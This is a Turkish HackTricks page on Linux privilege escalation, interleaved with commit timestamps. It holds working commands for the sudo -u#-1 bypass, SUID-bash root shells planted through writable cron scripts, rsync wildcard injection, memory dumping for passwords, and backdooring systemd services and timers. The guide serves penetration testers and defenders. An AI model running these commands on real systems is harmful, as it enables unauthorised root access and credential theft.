hacktricks/linux-hardening/privilege-escalation/README.md

1457 lines
77 KiB
Markdown
Raw Normal View History

# Linux Yetki Yükseltme
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2023-12-30 20:49:49 +00:00
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Sistem Bilgileri
2020-08-21 14:40:36 +00:00
### İşletim Sistemi Bilgileri
2024-04-06 19:40:41 +00:00
Çalışan işletim sistemi hakkında bazı bilgiler edinmeye başlayalım.
2020-08-21 14:40:36 +00:00
```bash
(cat /proc/version || uname -a ) 2>/dev/null
2022-03-23 18:26:15 +00:00
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
2020-08-21 14:40:36 +00:00
```
2024-02-10 18:14:16 +00:00
### Yol
2020-08-21 14:40:36 +00:00
Eğer `PATH` değişkeni içindeki herhangi bir klasörde **yazma izniniz varsa**, bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz:
2020-08-21 14:40:36 +00:00
```bash
echo $PATH
```
### Ortam bilgisi
2020-08-21 14:40:36 +00:00
Ortam değişkenlerinde ilginç bilgiler, şifreler veya API anahtarları var mı?
2020-08-21 14:40:36 +00:00
```bash
(env || set) 2>/dev/null
```
### Kernel açıkları
2024-04-06 19:40:41 +00:00
Kernel sürümünü kontrol edin ve ayrıcalıkları yükseltmek için kullanılabilecek bir açık olup olmadığını kontrol edin.
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
İyi bir zayıf çekirdek listesi ve zaten derlenmiş bazı **saldırıları** burada bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
Bazı **derlenmiş saldırıları** bulabileceğiniz diğer siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
2024-04-06 19:40:41 +00:00
O web sitesinden tüm zayıf çekirdek sürümlerini çıkarmak için:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
Kernel exploits aramak için yardımcı olabilecek araçlar:
2021-10-10 21:09:04 +00:00
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (sadece kurban üzerinde çalıştırılmalı, yalnızca kernel 2.x için exploitleri kontrol eder)
Her zaman **Google'da kernel sürümünü arayın**, belki kernel sürümünüz bazı kernel exploitlerinde yazılıdır ve bu sayede bu exploitin geçerli olduğundan emin olabilirsiniz.
2022-05-01 16:57:45 +00:00
### CVE-2016-5195 (DirtyCow)
2020-08-20 11:59:57 +00:00
2024-02-10 18:14:16 +00:00
Linux Yetki Yükseltme - Linux Kernel <= 3.19.0-73.8
2020-08-20 11:59:57 +00:00
```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
2024-02-10 18:14:16 +00:00
### Sudo sürümü
2020-08-20 11:59:57 +00:00
Vulnerabl sudo sürümlerine dayanarak:
2024-02-10 18:14:16 +00:00
```bash
searchsploit sudo
```
Sudo sürümünün zayıf olup olmadığını bu grep kullanarak kontrol edebilirsiniz.
2024-02-10 18:14:16 +00:00
```bash
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
```
#### sudo < v1.28
@sickrov tarafından
```
sudo -u#-1 /bin/bash
```
### Dmesg imza doğrulaması başarısız oldu
Bu zafiyetin nasıl sömürülebileceğine dair bir örnek için **HTB'nin smasher2 kutusuna** bakın
```bash
2024-02-10 18:14:16 +00:00
dmesg 2>/dev/null | grep "signature"
```
### Daha fazla sistem tespiti
2020-08-21 14:40:36 +00:00
```bash
2020-08-24 16:34:42 +00:00
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
2020-08-21 14:40:36 +00:00
```
## Olası savunmaları sırala
2020-08-21 14:40:36 +00:00
2022-05-01 13:25:53 +00:00
### AppArmor
2020-08-21 14:40:36 +00:00
```bash
if [ `which aa-status 2>/dev/null` ]; then
2024-02-10 18:14:16 +00:00
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
2020-08-21 14:40:36 +00:00
fi
```
### Grsecurity
2024-02-10 18:14:16 +00:00
```bash
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
```
### PaX
2020-08-21 14:40:36 +00:00
```bash
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
```
2022-05-01 13:25:53 +00:00
### Execshield
2020-08-21 14:40:36 +00:00
### Execshield
2024-02-10 18:14:16 +00:00
```bash
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
```
2022-05-01 13:25:53 +00:00
### SElinux
2020-08-21 14:40:36 +00:00
**SElinux** (Security-Enhanced Linux), Linux çekirdeğine entegre edilmiş bir güvenlik modülüdür. SElinux, Linux işletim sisteminde zayıf yapılandırılmış izinlerden kaynaklanan güvenlik açıklarını azaltmaya yardımcı olur. SElinux, uygulamaların ve kullanıcıların erişebileceği kaynakları sınırlamak için zorlayıcı bir politika uygular. Bu sayede, kötü amaçlı yazılımların ve saldırganların sisteme sızma olasılığını azaltır.
2020-08-21 14:40:36 +00:00
```bash
2024-02-10 18:14:16 +00:00
(sestatus 2>/dev/null || echo "Not found sestatus")
2020-08-21 14:40:36 +00:00
```
### ASLR
2024-04-06 19:40:41 +00:00
**Adres Alanı Rastgele Konumlandırma (ASLR)**, saldırganların hedef sistemdeki bellek bölgelerinin konumunu tahmin etmesini zorlaştıran bir güvenlik önlemidir. Bu yöntem, bellek bölgelerinin rastgele adreslere yerleştirilmesini sağlayarak saldırıların etkisini azaltır.
2020-08-21 14:40:36 +00:00
```bash
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
2020-08-21 14:52:25 +00:00
#If 0, not enabled
2020-08-21 14:40:36 +00:00
```
2024-02-10 18:14:16 +00:00
## Docker Kaçışı
2020-08-21 14:40:36 +00:00
2024-02-10 18:14:16 +00:00
Eğer bir docker konteynerinin içindeyseniz, ondan kaçmaya çalışabilirsiniz:
2021-01-04 12:33:29 +00:00
{% content-ref url="docker-security/" %}
[docker-security](docker-security/)
2021-10-10 21:09:04 +00:00
{% endcontent-ref %}
2021-01-04 12:33:29 +00:00
2024-02-10 18:14:16 +00:00
## Sürücüler
2020-08-21 14:52:25 +00:00
**Nelerin bağlandığını ve bağlanmadığını**, nerede ve neden kontrol edin. Eğer bir şey bağlanmamışsa, onu bağlamayı deneyebilir ve özel bilgileri kontrol edebilirsiniz.
2020-08-21 14:52:25 +00:00
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
2020-08-24 16:38:31 +00:00
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
2020-08-21 14:52:25 +00:00
```
2024-02-10 18:14:16 +00:00
## Kullanışlı yazılımlar
2020-08-21 14:52:25 +00:00
Yararlı ikili dosyaları listeleyin
2020-08-21 14:52:25 +00:00
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
2020-08-21 14:52:25 +00:00
```
Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını kontrol edin**. Bu, bazı kernel açıklarını kullanmanız gerektiğinde faydalıdır çünkü derlemeyi kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir.
2020-08-21 14:52:25 +00:00
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
### Yüklü Güvenlik Açığı Bulunan Yazılımlar
2024-04-06 19:40:41 +00:00
Yüklü paketlerin ve hizmetlerin **sürümlerini kontrol edin**. Belki de ayrıcalıkları yükseltmek için sömürülebilecek eski bir Nagios sürümü gibi bir yazılım bulunabilir...\
Daha şüpheli yüklü yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir.
```bash
dpkg -l #Debian
rpm -qa #Centos
```
Eğer makineye SSH erişiminiz varsa, makine içinde yüklü olan eski ve savunmasız yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz.
2020-08-21 14:52:25 +00:00
{% hint style="info" %}
_Bu komutlar genellikle gereksiz bilgileri gösterecektir, bu nedenle yüklü yazılım sürümünün bilinen saldırılara karşı savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamalar önerilir_
2020-08-21 14:52:25 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
## İşlemler
**Hangi işlemlerin** yürütüldüğüne bakın ve herhangi bir işlemin **olması gerekenden daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (belki de root tarafından yürütülen bir tomcat olabilir mi?)
```bash
2020-08-22 09:45:50 +00:00
ps aux
ps -ef
top -n 1
```
Her zaman çalışan **electron/cef/chromium hata ayıklayıcılarını** kontrol edin, ayrıcalıkları yükseltmek için bunu istismar edebilirsiniz. **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\
Ayrıca **süreç ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin**, belki birinin üzerine yazabilirsiniz.
2024-04-06 19:40:41 +00:00
### Süreç izleme
[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sık sık yürütülen savunmasız süreçleri veya belirli gereksinimlerin karşılandığı durumları tanımlamak için çok yararlı olabilir.
### Süreç belleği
Bir sunucunun bazı hizmetleri **kimlik bilgilerini açık metin olarak belleğin içine kaydeder**.\
Genellikle diğer kullanıcılara ait süreçlerin belleğini okumak için **kök ayrıcalıklarına ihtiyacınız olacaktır**, bu nedenle bu genellikle zaten kök kullanıcıysanız ve daha fazla kimlik bilgisi keşfetmek istiyorsanız daha yararlı olacaktır.\
Ancak, **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabilirsiniz**.
2020-08-25 16:34:56 +00:00
2021-11-04 00:33:15 +00:00
{% hint style="warning" %}
Günümüzde çoğu makine **varsayılan olarak ptrace izin vermez**, bu da başka bir kullanıcıya ait diğer süreçleri dökemeyeceğiniz anlamına gelir.
2021-11-04 00:33:15 +00:00
_Proc/sys/kernel/yama/ptrace\_scope_ dosyası ptrace erişilebilirliğini kontrol eder:
2021-11-04 00:33:15 +00:00
* **kernel.yama.ptrace\_scope = 0**: aynı uid'ye sahip süreçlerin hepsi hata ayıklanabilir. Bu, ptracing'in klasik çalışma şeklidir.
* **kernel.yama.ptrace\_scope = 1**: yalnızca bir üst süreç hata ayıklanabilir.
* **kernel.yama.ptrace\_scope = 2**: Yalnızca yönetici ptrace kullanabilir, çünkü CAP\_SYS\_PTRACE yetkisi gerektirir.
* **kernel.yama.ptrace\_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Bir kez ayarlandığında, ptracing'i yeniden etkinleştirmek için bir yeniden başlatma gereklidir.
2021-11-04 00:33:15 +00:00
{% endhint %}
2022-05-01 16:57:45 +00:00
#### GDB
2020-08-25 16:34:56 +00:00
Örneğin bir FTP hizmetinin belleğine erişiminiz varsa, Heap'i alabilir ve kimlik bilgilerini içinde arayabilirsiniz.
2020-08-22 09:45:50 +00:00
```bash
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
```
#### GDB Betiği
2021-01-03 11:59:52 +00:00
{% code title="dump-memory.sh" %}
```bash
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
2024-02-10 18:14:16 +00:00
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
2021-01-03 11:59:52 +00:00
done
```
{% endcode %}
#### /proc/$pid/maps ve /proc/$pid/mem
2024-04-06 19:40:41 +00:00
Verilen bir işlem kimliği için **haritalar, o işlemin** sanal adres alanı içinde nasıl belleğe **haritalandığını gösterir; ayrıca her haritalanmış bölgenin izinlerini** de gösterir. **Mem** sahte dosyası **işlemlerin belleğini kendisi açığa çıkarır**. **Haritalar** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu ve ofsetlerini** bildiğimizden, bu bilgiyi kullanarak **mem dosyasına gitmek ve tüm okunabilir bölgeleri bir dosyaya dökmek** için kullanırız.
2020-08-25 16:34:56 +00:00
```bash
procdump()
(
2024-02-10 18:14:16 +00:00
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
2020-08-25 16:34:56 +00:00
)
```
2022-05-01 16:57:45 +00:00
#### /dev/mem
2020-08-24 16:41:51 +00:00
`/dev/mem`, sanal bellek değil, sistemin **fiziksel** belleğine erişim sağlar. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir.\
Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grupları tarafından okunabilir.
2021-10-10 21:09:04 +00:00
```
2020-08-22 09:45:50 +00:00
strings /dev/mem -n10 | grep -i PASS
```
2024-02-10 18:14:16 +00:00
### Linux için ProcDump
2020-08-22 09:45:50 +00:00
ProcDump, Windows için Sysinternals araç takımından klasik ProcDump aracının Linux için yeniden hayal edilmiş halidir. [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) adresinden edinebilirsiniz.
2021-11-04 00:33:15 +00:00
```
2024-02-10 18:14:16 +00:00
procdump -p 1714
2021-11-04 00:33:15 +00:00
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
```
2024-02-10 18:14:16 +00:00
### Araçlar
2021-11-04 00:33:15 +00:00
2024-02-10 18:14:16 +00:00
Bir işlem belleğini dökmek için şunları kullanabilirsiniz:
2020-08-25 16:34:56 +00:00
2022-04-05 22:24:52 +00:00
* [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (kök) - \_Kök gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemi dökebilirsiniz
* [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresindeki Script A.5 (kök gereklidir)
2020-08-25 16:34:56 +00:00
2024-02-10 18:14:16 +00:00
### İşlem Belleğinden Kimlik Bilgileri
2021-01-03 11:59:52 +00:00
2024-02-10 18:14:16 +00:00
#### Manuel örnek
2021-01-03 11:59:52 +00:00
Eğer doğrulayıcı işleminin çalıştığını bulursanız:
2021-01-03 11:59:52 +00:00
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
Prosesi dökümleyebilirsiniz (farklı yöntemleri bulmak için önceki bölümlere bakın) ve bellek içinde kimlik bilgilerini arayabilirsiniz:
2021-01-03 11:59:52 +00:00
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
2022-05-01 16:57:45 +00:00
#### mimipenguin
2021-01-03 11:59:52 +00:00
Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **açık metin kimlik bilgilerini bellekten çalar** ve bazı **tanınmış dosyalardan** çalar. Doğru çalışabilmesi için kök ayrıcalıklarına ihtiyaç duyar.
2020-08-25 16:34:56 +00:00
| Özellik | İşlem Adı |
| ------------------------------------------------- | -------------------- |
| GDM şifresi (Kali Masaüstü, Debian Masaüstü) | gdm-password |
| Gnome Keyring (Ubuntu Masaüstü, ArchLinux Masaüstü)| gnome-keyring-daemon |
| LightDM (Ubuntu Masaüstü) | lightdm |
| VSFTPd (Aktif FTP Bağlantıları) | vsftpd |
| Apache2 (Aktif HTTP Temel Kimlik Doğrulama Oturumları)| apache2 |
| OpenSSH (Aktif SSH Oturumları - Sudo Kullanımı) | sshd: |
2024-04-06 19:40:41 +00:00
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
2022-10-05 17:13:04 +00:00
```bash
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
## Zamanlanmış/Cron işleri
2024-04-06 19:40:41 +00:00
Kontrol edin eğer herhangi bir zamanlanmış işlem savunmasız ise. Belki root tarafından yürütülen bir betikten faydalanabilirsiniz (joker açığı mı? root'un kullandığı dosyaları değiştirebilir mi? sembollü bağlantıları kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?).
2020-08-22 09:45:50 +00:00
```bash
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
```
2024-02-10 18:14:16 +00:00
### Cron yolu
2020-08-22 09:45:50 +00:00
Örneğin, _/etc/crontab_ dosyasının içinde PATH'i şu şekilde bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
2020-08-22 09:45:50 +00:00
(_"user" kullanıcısının /home/user üzerinde yazma izinlerine sahip olduğuna dikkat edin_)
2024-04-06 19:40:41 +00:00
Eğer bu crontab dosyasının içinde root kullanıcısı bir komut veya betik çalıştırmaya çalışırken yol belirtmeden deneme yaparsa. Örneğin: _\* \* \* \* root overwrite.sh_\
O zaman, bir root kabuğuna şu şekilde erişebilirsiniz:
2020-08-22 09:45:50 +00:00
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
### Bir joker karakteriyle bir betik kullanan Cron (Joker Karakteri Enjeksiyonu)
2024-04-06 19:40:41 +00:00
Eğer bir betik root tarafından çalıştırılıyorsa ve komut içinde "**\***" karakteri varsa, bunu istenmeyen şeyler yapmak için (örneğin ayrıcalık yükseltme) kullanabilirsiniz. Örnek:
2020-08-22 09:45:50 +00:00
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**Eğer joker karakteri bir yolun önünde gelirse** _**/bazı/yol/\***_ **şeklinde, bu zayıf değildir (hatta** _**./\***_ **değil).**
2020-08-22 09:45:50 +00:00
Daha fazla joker karakteri sömürüsü hilesi için aşağıdaki sayfayı okuyun:
2020-08-22 09:45:50 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="wildcards-spare-tricks.md" %}
[wildcards-spare-tricks.md](wildcards-spare-tricks.md)
{% endcontent-ref %}
2020-08-22 09:45:50 +00:00
2024-02-10 18:14:16 +00:00
### Cron betiği üzerine yazma ve sembolik bağlantı
2020-08-22 09:45:50 +00:00
Eğer **kök tarafından yürütülen bir cron betiğini değiştirebiliyorsanız**, çok kolay bir şekilde bir kabuk alabilirsiniz:
2020-08-22 09:45:50 +00:00
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```
Eğer root tarafından yürütülen betik, **tam erişiminiz olan bir dizini kullanıyorsa**, belki o klasörü silip yerine sizin kontrol ettiğiniz bir betiği hizmet eden başka bir dizine **sembolik bağlantı oluşturmak** faydalı olabilir.
2020-08-22 09:45:50 +00:00
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
### Sık kullanılan cron işleri
2020-08-22 09:45:50 +00:00
2024-02-10 18:14:16 +00:00
Her 1, 2 veya 5 dakikada bir çalıştırılan işlemleri aramak için süreçleri izleyebilirsiniz. Belki bundan faydalanarak ayrıcalıkları yükseltebilirsiniz.
2020-08-22 09:45:50 +00:00
Örneğin, **her 0.1 saniyede bir dakika boyunca izlemek** için, **daha az çalıştırılan komutlara göre sıralamak** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz:
2020-08-22 09:45:50 +00:00
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
**Ayrıca** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **kullanabilirsiniz** (bu, başlatılan her işlemi izleyip listeleyecektir).
2024-04-06 19:40:41 +00:00
### Görünmez cron işleri
2024-04-06 19:40:41 +00:00
Bir cron işi oluşturmak mümkündür **bir yorumdan sonra bir satır sonu karakteri ekleyerek** (newline karakteri olmadan), ve cron işi çalışacaktır. Örnek (satır sonu karakterine dikkat edin):
2020-10-18 11:15:59 +00:00
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
2024-02-10 18:14:16 +00:00
## Hizmetler
2020-10-18 11:15:59 +00:00
2024-02-10 18:14:16 +00:00
### Yazılabilir _.service_ dosyaları
Herhangi bir `.service` dosyasını yazabilir mi diye kontrol edin, eğer yapabilirseniz, **onu değiştirebilirsiniz** böylece hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** sizin **arka kapınızı çalıştırabilir** (belki makinenin yeniden başlatılmasını beklemeniz gerekebilir).\
Örneğin, arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** şeklinde oluşturun.
2024-02-10 18:14:16 +00:00
### Yazılabilir hizmet ikili dosyaları
Hizmetler tarafından **çalıştırılan ikili dosyalara yazma izniniz varsa**, onları arka kapılar için değiştirebilirsiniz, böylece hizmetler yeniden çalıştırıldığında arka kapılar çalıştırılacaktır.
2024-02-10 18:14:16 +00:00
### systemd PATH - Göreceli Yollar
**systemd** tarafından kullanılan PATH'ı görebilirsiniz:
```bash
systemctl show-environment
```
Eğer yolun herhangi bir klasörüne **yazma** izniniz olduğunu fark ederseniz, muhtemelen **yetki yükseltme** yapabilirsiniz. **Hizmet yapılandırmalarında kullanılan göreceli yolları** aramalısınız gibi dosyalar:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
Sonra, **yürütülebilir** bir dosya oluşturun ve yazabileceğiniz systemd PATH klasöründeki **ilişkili yol ikili dosyasıyla aynı ada sahip** oluşturun ve hizmete **bağlı eylemi yürütmesi istendiğinde**, **arka kapınız çalıştırılacaktır** (genellikle yetkisiz kullanıcılar hizmetleri başlatamaz/durduramaz ancak `sudo -l` komutunu kullanıp kullanamadığınızı kontrol edin).
2024-04-06 19:40:41 +00:00
**Hizmetler hakkında daha fazla bilgi edinin `man systemd.service`.**
2024-02-10 18:14:16 +00:00
## **Zamanlayıcılar**
**Zamanlayıcılar**, adı `**.timer**` ile biten systemd birim dosyalarıdır ve `**.service**` dosyalarını veya etkinlikleri kontrol eder. **Zamanlayıcılar**, takvim zamanı etkinlikleri ve monotonik zaman etkinlikleri için yerleşik destek sağladıkları için cron'un alternatifi olarak kullanılabilir ve asenkron olarak çalıştırılabilir.
2024-04-06 19:40:41 +00:00
Tüm zamanlayıcıları şu şekilde sıralayabilirsiniz:
```bash
systemctl list-timers --all
```
2024-02-10 18:14:16 +00:00
### Yazılabilir zamanlayıcılar
Bir zamanlayıcıyı değiştirebiliyorsanız, onu bir `.service` veya `.target` gibi systemd.unit varlıklarını çalıştırmak için kullanabilirsiniz.
```bash
Unit=backdoor.service
```
Belgede Ünite'nin ne olduğunu okuyabilirsiniz:
2024-04-06 19:40:41 +00:00
> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" olmayan bir birim adıdır. Belirtilmezse, bu değer zamanlayıcı biriminin adı hariç aynı isme sahip bir hizmete varsayılan olarak ayarlanır. (Yukarıya bakınız.) Etkinleştirilen birim adının ve zamanlayıcı biriminin birim adının, sonek hariç olmak üzere aynı şekilde adlandırılması önerilir.
Bu izni kötüye kullanmak için şunlara ihtiyacınız olacaktır:
* **Yazılabilir bir ikili dosya yürüten** bir systemd birimi (örneğin `.service`) bulun
* **Göreceli bir yol yürüten** ve **sisteminizde yazma izinleriniz** olan **systemd YOLU** üzerinde **yürütülebilir dosyayı taklit etmek** için yazma izinleriniz olan bir systemd birimi bulun
**Zamanlayıcılar hakkında daha fazla bilgi için `man systemd.timer` komutunu kullanın.**
2024-02-10 18:14:16 +00:00
### **Zamanlayıcıyı Etkinleştirme**
Bir zamanlayıcıyı etkinleştirmek için kök ayrıcalıklarına ihtiyacınız vardır ve şunu yürütmeniz gerekir:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
Not **:timer:** oluşturarak **etkinleştirilir** `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer` üzerine bir sembolik bağ oluşturarak.
2024-02-10 18:14:16 +00:00
## Soketler
Unix Domain Sockets (UDS), istemci-sunucu modelleri içinde aynı veya farklı makinelerde **işlem iletişimini** sağlar. İnter-bilgisayar iletişimi için standart Unix tanımlayıcı dosyalarını kullanır ve `.socket` dosyaları aracılığıyla kurulur.
Soketler `.socket` dosyaları kullanılarak yapılandırılabilir.
**Soketler hakkında daha fazla bilgi edinin `man systemd.socket`.** Bu dosya içinde birkaç ilginç parametre yapılandırılabilir:
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, sokete **nerede dinleyeceğini belirtmek** için kullanılır (AF\_UNIX soket dosyasının yolu, dinlemek için IPv4/6 ve/veya port numarası vb.).
